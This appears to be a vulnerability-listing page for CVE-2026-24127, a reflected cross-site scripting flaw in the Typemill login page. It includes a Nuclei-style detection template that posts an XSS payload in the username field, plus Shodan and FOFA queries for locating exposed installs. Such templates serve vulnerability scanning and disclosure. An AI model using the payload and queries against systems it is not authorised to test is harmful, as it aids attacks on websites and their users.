CVE-2026-24127: Typemill < 2.19.2 - Cross-Site Scripting

2026-12-04 PoC Public

Description

Typemill < 2.19.2 contains a reflected XSS in its login page caused by improper contextual encoding of username parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.

Details

CVE
CVE-2026-24127 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-24127

info:
  name: Typemill < 2.19.2 - Cross-Site Scripting
  author: anirbala98
  severity: medium
  description: |
    Typemill < 2.19.2 contains a reflected XSS in its login page caused by improper contextual encoding of username parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 2.19.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2026-24127
    - https://github.com/typemill/typemill/security/advisories/GHSA-65x4-pjhj-r8wr
    - https://github.com/typemill/typemill
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-24127
    epss-score: 0.00501
    epss-percentile: 0.44575
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    product: typemill
    shodan-query: html:"/typemill"
    fofa-query: body="/typemill"
  tags: cve,cve2026,typemill,xss

http:
  - raw:
      - |
        POST /tm/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username="'><img src=x onerror=alert(document.domain)>&password=test

    redirects: true
    max-redirects: 1
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=x onerror=alert(document.domain)>", "typemill")'
        condition: and
# digest: 4a0a0047304502204a5402ba4aad3614d1a1c737a98aff2fbcff6b202b3b7a11f68e17344426f0ac022100bc5285a2bb8ee1f3f47f73fea56c5622ebd0ddec4f72c2084dcde779d3ce6692:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life